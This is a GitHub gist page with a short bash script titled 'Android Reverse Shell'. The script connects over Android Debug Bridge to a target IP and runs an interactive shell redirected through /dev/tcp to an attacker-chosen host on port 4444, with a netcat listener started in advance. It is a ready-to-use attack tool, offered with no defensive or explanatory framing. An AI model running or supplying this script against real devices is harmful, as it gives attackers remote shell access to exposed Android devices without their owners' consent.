Skip to content

Instantly share code, notes, and snippets.

@yuhisern7
Forked from random-robbie/android-shell.sh
Created December 9, 2019 06:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yuhisern7/19a0b05db780a5776278e9cd047cc24c to your computer and use it in GitHub Desktop.
Save yuhisern7/19a0b05db780a5776278e9cd047cc24c to your computer and use it in GitHub Desktop.
Android Reverse Shell
#!/bin/bash
# Simple reverse shell on android devie using Android Debug Bridge ensure you run nc -lvp 4444 on another screen first.
# By Random_Robbie
adb connect $1:5555
adb shell sh -i >& /dev/tcp/$2/4444 0>&1
echo "[*] Should have a shell now ..... Be nice :) [*]"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment